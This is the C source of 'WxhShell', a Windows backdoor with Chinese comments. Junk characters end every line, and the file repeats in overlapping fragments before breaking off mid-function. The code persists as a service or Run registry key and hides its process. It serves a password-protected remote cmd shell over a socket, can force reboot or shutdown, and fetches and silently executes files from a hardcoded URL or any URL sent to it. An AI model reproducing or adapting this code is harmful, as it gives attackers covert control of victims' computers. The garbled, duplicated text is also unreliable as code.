    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); O &<p 8  
    if(Boot(SHUTDOWN)) ]L~NYe9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @ZU$W9g  
    else { HaVhdv3L  
    closesocket(wsh); |'z8>1  
    ExitThread(0); E[t0b5h  
    } s $Vv  
    break; }. &ellNQ  
    }  U${W3Ra  
  // 获取shell hnFpC1TO  
  case 's': { {A/^;X{N^  
    CmdShell(wsh); 8;?4rrS  
    closesocket(wsh); e ymv/  
    ExitThread(0); p XXf5adl<  
    break; b7>'ARdbzX  
  } r>(,)rs(l  
  // 退出 -Fd&rq:GB(  
  case 'x': { XHU$&t`7>g  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); vu0Ue  
    CloseIt(wsh); :e7\z  
    break; o,WjM[e  
    } 9 " q-Bb  
  // 离开 hY.i`sp*/  
  case 'q': { 3q'AgiW  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); d~~kJKK  
    closesocket(wsh); e4` L8  
    WSACleanup(); 3A`Gx#  
    exit(1); YTyrX  
    break; ^m%#1Zd  
        } Uuy$F  
  } 0S4BV%7F  
  } R1H^CJ=v0  
*#YZm>h   
  // 提示信息 U1r]e%df)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~Fuq{e9`  
} XY| y1L 3[  
  } 44} 5o  
f7a4E+}  
  return; y;ElSt;S  
} 'O(=Pz  
Gt.'_hf Js  
// shell模块句柄 wNHn.  
int CmdShell(SOCKET sock) sm-[=d%@L  
{ 83c2y;|8  
STARTUPINFO si; QP%_2m>yhl  
ZeroMemory(&si,sizeof(si)); o=YOn&@%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M?lh1Yu"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }R}+8  
PROCESS_INFORMATION ProcessInfo; #Kb /tOp1  
char cmdline[]="cmd"; >S I'Q7k  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); M,fL(b;2  
  return 0; _P.I+!w:x  
} %C_tBNE <  
LH4A!a]  
// 自身启动模式 :$"{-n  
int StartFromService(void) Y_CVDKdcY  
{ V^,gpTyv*  
typedef struct _4N.]jr5  
{ mU-2s%X<.^  
  DWORD ExitStatus; w5 .^meU  
  DWORD PebBaseAddress; G[mqLI{q  
  DWORD AffinityMask; Lyhuyb)k5^  
  DWORD BasePriority;  ?CAU+/  
  ULONG UniqueProcessId; - UkK$wP5  
  ULONG InheritedFromUniqueProcessId; c;kU|_  
}   PROCESS_BASIC_INFORMATION; m,Y/ke\  
ZK]qQrIwy  
PROCNTQSIP NtQueryInformationProcess; {J==y;dK  
==[(Mn,%d  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; J|BElBY  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^^V3nT2rR3  
4<-Kd~uL  
  HANDLE             hProcess; eS!]..%y  
  PROCESS_BASIC_INFORMATION pbi; Em(_W5 ND{  
 57q=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); M)ET 1ZM  
  if(NULL == hInst ) return 0; ,4H? +|!  
8@rYT5e3c  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ceG\Q2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); hH`x*:Qja  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); iI<c  
.u)KP*_  
  if (!NtQueryInformationProcess) return 0;  Gk~aTO  
r)|~Rs!y,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); LWM<[8wJ4  
  if(!hProcess) return 0; ya&=UoI  
WkuCn T  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; NIQ}A-b  
XKTDBaON  
  CloseHandle(hProcess); DKS1Sm6d0  
3 ZOD2: (  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); A1p~K*[[  
if(hProcess==NULL) return 0; %f'pAc|#  
f![] :L  
HMODULE hMod; \>5sW8P]H`  
char procName[255]; ;$iT]S  
unsigned long cbNeeded; :i!fPNn  
'mZ v5?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^# $IoW  
7 {92_xRL  
  CloseHandle(hProcess); Z)|~  
\s#~ %l  
if(strstr(procName,"services")) return 1; // 以服务启动 kx(beaf  
1;/SXJ s  
  return 0; // 注册表启动 9W=(D|,,  
} zn>lF  
)(]rUJ~+~A  
// 主模块 <Z-Pc?F&(k  
int StartWxhshell(LPSTR lpCmdLine) \) dp  
{ oSrA4g  
  SOCKET wsl; fZ-"._9UyH  
BOOL val=TRUE; f4p*!e  
  int port=0; b*Qd9  
  struct sockaddr_in door; IIAp-Y~B  
d`= ~8`  
  if(wscfg.ws_autoins) Install(); sGY}(9ED;  
C)U4Fr ?E:  
port=atoi(lpCmdLine); Tg^8a,Lt  
K.yc[z)un  
if(port<=0) port=wscfg.ws_port; -Hm"Dx  
2-'_Nwkl*  
  WSADATA data; >IS4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _-vlN  
;:=j{,&dl[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _AF$E"f@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); FC+-|1?C  
  door.sin_family = AF_INET; G T~rr*X  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); igQzL*X  
  door.sin_port = htons(port); M<Bo<,!ua  
n*9QSyJN]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { S!A:/(^WB  
closesocket(wsl); @2"uJ6o  
return 1; h1q 3}-  
} #v(As) 4^  
DTC IVLV  
  if(listen(wsl,2) == INVALID_SOCKET) { FZgf"XM>  
closesocket(wsl); Zw)=Y.y!  
return 1; )vq}$W!:9  
} $@6q5Iz!&  
  Wxhshell(wsl); (72%au  
  WSACleanup(); U)'YR$2<  
R>"pJbS;L  
return 0; /HUT6B  
2(!W 9#]  
} fP<== DK  
#q:j~4)h  
// 以NT服务方式启动 eY` z\I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) EJ {vJZO  
{ 9%kO%j,3  
DWORD   status = 0; <&[`  +  
  DWORD   specificError = 0xfffffff; #*:1Ch]B  
<q'?[aKvR  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^N7cXK*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Srw`vql{(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "d-vs t5  
  serviceStatus.dwWin32ExitCode     = 0; 5dv|NLl  
  serviceStatus.dwServiceSpecificExitCode = 0; 1;m?:|6K{  
  serviceStatus.dwCheckPoint       = 0; M5*Ln-qt(a  
  serviceStatus.dwWaitHint       = 0; lFuW8G,-f@  
k @fxs]Y_L  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =,*/Ph&  
  if (hServiceStatusHandle==0) return; 15_"U+O(/  
\0lQ1FrY  
status = GetLastError(); L__{U_p  
  if (status!=NO_ERROR) ,8DC9yM,  
{ W ~MNst?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0>m$e(Z  
    serviceStatus.dwCheckPoint       = 0; alRz@N  
    serviceStatus.dwWaitHint       = 0; 5n>zJ ~  
    serviceStatus.dwWin32ExitCode     = status; MX*4d{l  
    serviceStatus.dwServiceSpecificExitCode = specificError; lre(]oBXA  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \=RV?mI3?  
    return; _H U>T  
  } {6LS$3}VM  
!}|'1HIC  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; N\ <riS9  
  serviceStatus.dwCheckPoint       = 0; }qGd*k0F0  
  serviceStatus.dwWaitHint       = 0; wy|b Hkr_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); i*l =xW;bM  
} : HU|BJ>  
[2Y@O7;n I  
// 处理NT服务事件,比如:启动、停止 @sa_/LH!K  
VOID WINAPI NTServiceHandler(DWORD fdwControl) TyO]|Q5  
{ iPCn-DoIS  
switch(fdwControl) 'xuxMav6m  
{ w?_'sP{pd  
case SERVICE_CONTROL_STOP: F+5 5p8  
  serviceStatus.dwWin32ExitCode = 0; , MqoX-+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; rLeQB p'  
  serviceStatus.dwCheckPoint   = 0; 43=)akJi  
  serviceStatus.dwWaitHint     = 0; nIOSP :'>  
  { w[vccARQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [#aJ- Uu  
  } I7h v'3u  
  return; pQZ`dS\  
case SERVICE_CONTROL_PAUSE: !`H!!Kg0L  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; h+_:zWU  
  break; `}ZtK574  
case SERVICE_CONTROL_CONTINUE: 18~jUYMV  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9h+T O_T@F  
  break; Le-t<6i-V#  
case SERVICE_CONTROL_INTERROGATE: 'o= DGm2H  
  break; ?;w`hA3ei  
}; t\:=|t,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Kl?C[  
} (uHyWEHt  
_^?_Vb  
// 标准应用程序主函数 nql{k/6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3 %BI+1&T_  
{ F1}d@^K 7d  
o]]tH  
// 获取操作系统版本 m+dQBsz\  
OsIsNt=GetOsVer(); g^:`h VV  
GetModuleFileName(NULL,ExeFile,MAX_PATH); mDt!b6N/  
]#S<]vA  
  // 从命令行安装 "Qc4v@~)  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4K~>  
am 'K$s  
  // 下载执行文件 /&qE,>hd.+  
if(wscfg.ws_downexe) { ]T40VGJ:h  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) u!HbS*jqq  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ke[`zui@?  
} h0x'QiCc  
Jz0AYiCq  
if(!OsIsNt) { FBrh!vQ<  
// 如果时win9x,隐藏进程并且设置为注册表启动 vEE\{1  
HideProc(); mWP&N#vwh  
StartWxhshell(lpCmdLine); {a2Gb  
} r|z B?9Q  
else Om;` "5  
  if(StartFromService()) K4RQ{fWpm  
  // 以服务方式启动 19[.&-u"  
  StartServiceCtrlDispatcher(DispatchTable); j:8Pcx  
else k8+U0J_{'  
  // 普通方式启动 SEWdhthP  
  StartWxhshell(lpCmdLine); k:mW ,s|a  
:"nh76xg<  
return 0; A58P$#)?  
} IW}Wt{'m  
@eESKg(,  
jW^]N$>  
. Y!dO@$:  
=========================================== ]R^xO;g'  
1;,<UHF8N  
N3)n**  
d|gfp:Z`a  
H4wDF:n0H  
SpIiMu(  
" |g !$TUS.  
FLG{1dS  
#include <stdio.h> 0=9$k  
#include <string.h> q&:%/?)x  
#include <windows.h> McbbEs=)  
#include <winsock2.h> [1Qg *   
#include <winsvc.h> +'w6=qI  
#include <urlmon.h> !4z vkJO  
4kK_S.&  
#pragma comment (lib, "Ws2_32.lib") V~-tp^  
#pragma comment (lib, "urlmon.lib") ^%\MOjSN  
R9K~b^`  
#define MAX_USER   100 // 最大客户端连接数 Y!y pG-  
#define BUF_SOCK   200 // sock buffer 2PNe~9)*#  
#define KEY_BUFF   255 // 输入 buffer {g4w[F!77  
y\:Ma7V  
#define REBOOT     0   // 重启 ^FTS'/Q  
#define SHUTDOWN   1   // 关机 pz{ ]O_px  
&:}WfY!hX  
#define DEF_PORT   5000 // 监听端口 #g2&x sU  
XrXW6s ;Z  
#define REG_LEN     16   // 注册表键长度 |v#rSVx  
#define SVC_LEN     80   // NT服务名长度 ~?iQnQYI  
F{ C2% s#  
// 从dll定义API G~ 4G$YL*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); M D& 7k,!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); EACI>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); F0kAQgUv  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); W]>%*n  
iJKGzHvS  
// wxhshell配置信息 UQP>yuSx  
struct WSCFG { fL-$wK<p<  
  int ws_port;         // 监听端口 [{>1wJ Pdj  
  char ws_passstr[REG_LEN]; // 口令 g^jTdrW/s  
  int ws_autoins;       // 安装标记, 1=yes 0=no vr6YE;Rs  
  char ws_regname[REG_LEN]; // 注册表键名 /z}b1m+  
  char ws_svcname[REG_LEN]; // 服务名 @ W,<8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /* "pylm  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4l> d^L  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \lwLVe  
int ws_downexe;       // 下载执行标记, 1=yes 0=no I;UT; /E2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Q^xk]~G$(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }Q6o#oZ  
v@J[qpX  
}; ?jvuTS2  
#\K"FE0PGz  
// default Wxhshell configuration <LJb,l"  
struct WSCFG wscfg={DEF_PORT, mwZ) PySm)  
    "xuhuanlingzhe", Uaj_,qb(  
    1, .F$cR^i5u  
    "Wxhshell", bFH`wL W  
    "Wxhshell", E},zB*5TH  
            "WxhShell Service", ]9W7]$  
    "Wrsky Windows CmdShell Service", *|@386\  
    "Please Input Your Password: ", $e  uI  
  1, PY+4OZ$  
  "http://www.wrsky.com/wxhshell.exe", Qf'g2 \  
  "Wxhshell.exe" )NqRu+j  
    }; 8NJT:6Q7l  
[1z.JfC :S  
// 消息定义模块 :" @-Bcln  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8L6b:$Y3@C  
char *msg_ws_prompt="\n\r? for help\n\r#>"; kN#3HI]8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5;HCNwX  
char *msg_ws_ext="\n\rExit."; {&6i$4T  
char *msg_ws_end="\n\rQuit."; pEW~zl  
char *msg_ws_boot="\n\rReboot..."; :s-9@Yl|  
char *msg_ws_poff="\n\rShutdown..."; 9E[==2TO  
char *msg_ws_down="\n\rSave to "; !?|xeQ}  
LPca+o|f  
char *msg_ws_err="\n\rErr!"; > +00[T  
char *msg_ws_ok="\n\rOK!"; _]eyt_  
qmvQd8|XR  
char ExeFile[MAX_PATH]; N\rL ~4/  
int nUser = 0; (I35i!F+tY  
HANDLE handles[MAX_USER]; 47f\  
int OsIsNt; Y zmMF  
UG}2q:ST  
SERVICE_STATUS       serviceStatus; P^ <to(|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; D`Ka IqLz  
=4V SbOlZ  
// 函数声明 f=S2O_Ee  
int Install(void); Imq-5To#  
int Uninstall(void); T{yJL<  
int DownloadFile(char *sURL, SOCKET wsh); {lg iH+:  
int Boot(int flag); ,]Xn9 W  
void HideProc(void); o-;/ x)  
int GetOsVer(void); +F2X2e)g"  
int Wxhshell(SOCKET wsl); |y+_BZ5  
void TalkWithClient(void *cs); 6}|h  
int CmdShell(SOCKET sock); ~-R2mAUK  
int StartFromService(void); K{B|  
int StartWxhshell(LPSTR lpCmdLine); e,W,NnCICj  
rI6+St  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); p(Osz7K  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :AI%{EV-L  
:)&vf<JL  
// 数据结构和表定义 $TK= :8HY  
SERVICE_TABLE_ENTRY DispatchTable[] = a(ml#-M  
{ A(cR/$fn6  
{wscfg.ws_svcname, NTServiceMain}, ;BKU _}k=  
{NULL, NULL} (Q8r2*L  
}; cL~YQJYp  
^6LnB#C&  
// 自我安装 y O*   
int Install(void) J(w FJg\/  
{ m - hZ5 i  
  char svExeFile[MAX_PATH]; 8%xBSob{j  
  HKEY key; 1-&L-c.  
  strcpy(svExeFile,ExeFile); n1:q:qMR1  
_aJKt3GQ  
// 如果是win9x系统,修改注册表设为自启动 ~l*<LXp8  
if(!OsIsNt) { x($Djx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *v?kp>O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0'YJczDq:7  
  RegCloseKey(key); mm.%Dcn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7?y 7fwER  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HPJHA ,  
  RegCloseKey(key); LIQ].VxIs  
  return 0; f*9O39&|  
    } 7q 5 *grm  
  } Z&P\}mm   
} g2=PZR$  
else { y~VI,82*  
49c-`[d L  
// 如果是NT以上系统,安装为系统服务 ='m%Iq7X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); z0#2?o  
if (schSCManager!=0)  ,CuWQ'H  
{ \k{[HfVvn  
  SC_HANDLE schService = CreateService %O<8H7e)V  
  ( PL3hrI 5  
  schSCManager, 4z9lk^#"X  
  wscfg.ws_svcname, M]/DKo  
  wscfg.ws_svcdisp, a ~W  
  SERVICE_ALL_ACCESS, =Vazxt@[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ' 2O @  
  SERVICE_AUTO_START, nAAv42j[  
  SERVICE_ERROR_NORMAL, e?*Teb ?R  
  svExeFile, aql8Or1[  
  NULL, ?:-:m'jdU  
  NULL, E-FR w  
  NULL, a7453s  
  NULL, `(=Kp=b  
  NULL r\Kcg~D>  
  ); =6"5kz10  
  if (schService!=0) D} j`T  
  { o0|Ex\  
  CloseServiceHandle(schService);  Pd(_  
  CloseServiceHandle(schSCManager); tMp! MQ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {*[(j^OE  
  strcat(svExeFile,wscfg.ws_svcname); { I\og  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { SY%y*6[6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); slUi)@b  
  RegCloseKey(key); -B&(& R  
  return 0; gZ7R^] k  
    } /F(n%8)Yq  
  } W I MBw mg  
  CloseServiceHandle(schSCManager); '[%#70*  
} G9yK/g&q  
} fwV2b<[  
79exZ7|  
return 1; ahy6a,)K~  
} "42/P4:  
|%mZ|,[  
// 自我卸载 ?+.C@_QZQ  
int Uninstall(void) ^\?Rh(pu  
{ s&-MJ05y  
  HKEY key; aekke//y  
*kg->J  
if(!OsIsNt) { ?+^p$'5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a.}#nSYP  
  RegDeleteValue(key,wscfg.ws_regname); {\P%J:s#9  
  RegCloseKey(key); 0doJF@H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IDFzyg_  
  RegDeleteValue(key,wscfg.ws_regname); E G\;l9T  
  RegCloseKey(key); 6w, "i#E!  
  return 0; %Uz\P|6PO  
  } b/]4#?g  
} [H>u'fy:C  
} RLB"}&SF]  
else { wCruj`$  
n$r`s`}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); hpb|| V  
if (schSCManager!=0) 3IlVSR^py  
{ fx[&"$X  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zIjfx K  
  if (schService!=0) 'ET];iZ2  
  { X3 kFJ{  
  if(DeleteService(schService)!=0) { ,)#rD9ZnC  
  CloseServiceHandle(schService); M K)}zjw  
  CloseServiceHandle(schSCManager); 1BU97!  
  return 0; 5)lcgvp  
  } 1p$(\  
  CloseServiceHandle(schService); "8ellKh  
  } o /[7Vo  
  CloseServiceHandle(schSCManager); iBSg`"S^]C  
} Vb\g49\o/  
} 2a eH^:u  
/}8Au$nA  
return 1; ,.cR@5qI  
} _G/ R;N71  
UNa "\  
// 从指定url下载文件 1J"I.  
int DownloadFile(char *sURL, SOCKET wsh) !ZH "$m|  
{ $sda'L5^p  
  HRESULT hr; 0P9\;!Y  
char seps[]= "/"; dR1IndZl  
char *token; *YvtT (Gt  
char *file; ;'8P/a$  
char myURL[MAX_PATH]; \2 N;V E  
char myFILE[MAX_PATH]; %bN{FKNN  
LkS tU)  
strcpy(myURL,sURL); eTvjo(Lvx  
  token=strtok(myURL,seps); vu\W5M  
  while(token!=NULL) 'kt6%d2  
  { @Xl(A]w%!  
    file=token; s.i9&1Y-!  
  token=strtok(NULL,seps); f/UU{vX(  
  } nLz;L r!  
WX?nq'nr  
GetCurrentDirectory(MAX_PATH,myFILE); `D~oY=  
strcat(myFILE, "\\"); l_Lz9k  
strcat(myFILE, file); Y $v#>w_M  
  send(wsh,myFILE,strlen(myFILE),0); jeRE(3'Q  
send(wsh,"...",3,0); p7;K] AW  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [+dCA  
  if(hr==S_OK) Q:megU'u  
return 0; } u;{38~  
else oOpEpQ}}q  
return 1; lt6wmCe  
"gM!/<~  
} Za|iU`e\  
C78g|n{  
// 系统电源模块 qm!oJL  
int Boot(int flag) V=8db% ^  
{ (c0L H  
  HANDLE hToken; +?U[362>  
  TOKEN_PRIVILEGES tkp; %"Um8`]FVg  
P(k*SB|D  
  if(OsIsNt) { Twa(RjB<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Q ^2dZXk~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); '2lzMc>wvP  
    tkp.PrivilegeCount = 1; 0<!9D):Bb  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; q& -mbWBj  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); PljPhAce  
if(flag==REBOOT) { #RR;?`,L}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) t"GnmeH i  
  return 0; ,W)DQwAg  
} MSS[-}  
else { ?YL J Xq  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) B.5+!z&7  
  return 0; e3SnC:OWf  
} Az:~|P  
  } %lnkD5  
  else { yM@sGz6c!  
if(flag==REBOOT) { {im?tZ,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) V_J0I*Qa4  
  return 0; &!X<F,  
} HAK,z0/  
else { ^t4^gcoZ4Z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ';FJs&=I  
  return 0; wz`% ( \  
} piM4grg \  
} $TXiWW+  
|hika`35K  
return 1; 3k/E$wOj  
} \[3~*eX6  
h6D4CT  
// win9x进程隐藏模块 )mm0PJF~q  
void HideProc(void) _{k*JT2  
{ >B0AJW/u  
P".}Y[GD  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); vK)'3%  
  if ( hKernel != NULL ) Zo&i0%S\E  
  { i-v: %  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); n<8WjrK  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =|E "  
    FreeLibrary(hKernel); &wK:R,~x6  
  } {UP[iw$~  
r 1r@TG\  
return; h^=;\ng1l  
} Ak@!F6~  
zJw5+ +  
// 获取操作系统版本 pmB {b  
int GetOsVer(void)  aO<7a 6  
{ hc q&`Gun  
  OSVERSIONINFO winfo; %oa@2qJ^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); USyc D`  
  GetVersionEx(&winfo); rq3f/_#L!O  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) x>EL|Q=?  
  return 1; yk4 @@kHW  
  else c46-8z$  
  return 0; Qa=Y?=Za  
} V>QyiB  
9{;L7`<  
// 客户端句柄模块 #8et91qw  
int Wxhshell(SOCKET wsl) `r1}:`.m,  
{ 3!p`5hJd  
  SOCKET wsh; s;TB(M~i[  
  struct sockaddr_in client; (%L /|F_  
  DWORD myID; 8C3oi&av/{  
-yqgs>R(d  
  while(nUser<MAX_USER) A3/[9}(U  
{ gDU!dT  
  int nSize=sizeof(client); @lj|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `qhT  
  if(wsh==INVALID_SOCKET) return 1; O+o)z6(  
DK?aFSf\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (o|bst][S  
if(handles[nUser]==0) BZW03e8|  
  closesocket(wsh); phu,&DS!  
else 8HKv_vl  
  nUser++; !rRBy3&  
  } z9S (<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); iUcX\ uW  
~4~r  
  return 0; 0`S{>G  
} *MmH{!=  
5oG~Fc  
// 关闭 socket nUj`#%  
void CloseIt(SOCKET wsh) f1aZnl  
{ htbE Q NW  
closesocket(wsh); I;'{X_9$a  
nUser--; Nt $4;  
ExitThread(0); ]Y I9  
} eX#.Zt]  
&qg6^&  
// 客户端请求句柄 yx|iZhK0:}  
void TalkWithClient(void *cs) y-E'Y=j  
{ e7GYz7  
4x)vy -y  
  SOCKET wsh=(SOCKET)cs; PI*@.kqR-  
  char pwd[SVC_LEN]; MuD ? KK  
  char cmd[KEY_BUFF]; phH@{mI  
char chr[1]; x$-kw{N  
int i,j; -/?)0E  
gNW+Dq|X%  
  while (nUser < MAX_USER) { ^ELZ35=qZ  
C,+  
if(wscfg.ws_passstr) { imif[n+]}d  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l[i4\ CT  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \#%GVru!  
  //ZeroMemory(pwd,KEY_BUFF); EFC+7L(j  
      i=0; Ni>Ns=n  
  while(i<SVC_LEN) { } TUr96  
oVK:A;3T|  
  // 设置超时 a,oTU\m C  
  fd_set FdRead; PoaCnoNS  
  struct timeval TimeOut; kZG=C6a  
  FD_ZERO(&FdRead); KE,.Evyu=  
  FD_SET(wsh,&FdRead); /o4e n  
  TimeOut.tv_sec=8; lkT :e)w  
  TimeOut.tv_usec=0; {*+J`H_G2a  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;av!fK  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); m"~ddqSMT  
U3&GRY|##  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3;L$&X2  
  pwd=chr[0]; d\>XfS  
  if(chr[0]==0xd || chr[0]==0xa) { -& (iU#W  
  pwd=0; sf2%WPK  
  break; e;XRH<LhAU  
  } $CMye; yL  
  i++; #3*cA!V.<  
    } Ct-eD-X{  
\ Ki3ls  
  // 如果是非法用户,关闭 socket Ac U@H0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); AwG0E `SU  
} )dfhy  
t[2b~peNI  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `l]Lvk8O  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0qNk.1pv  
M#4;y,n<k  
while(1) { A<|9</9z  
X8m-5(uW  
  ZeroMemory(cmd,KEY_BUFF); \r:*`Z*y  
GkU_01C  
      // 自动支持客户端 telnet标准   !$l<'K$  
  j=0; Brxnl,%\  
  while(j<KEY_BUFF) { 5!A:xV]6]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k9*UBx  
  cmd[j]=chr[0]; /#vt \I<x  
  if(chr[0]==0xa || chr[0]==0xd) { i ed 1+H  
  cmd[j]=0; >g !Z|ju  
  break; b/[X8w'VP  
  } 'sZGLgT;m  
  j++; -KC@M  
    } @}6<,;|DQ  
H,TApF89A  
  // 下载文件 "=DQ {(L  
  if(strstr(cmd,"http://")) { WwsNAJ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1f+A_k/@  
  if(DownloadFile(cmd,wsh)) ,X3D< wl  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ng+sK  
  else <|k :%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JfkEJk<  
  } c&bhb[  
  else { =b*GV6b  
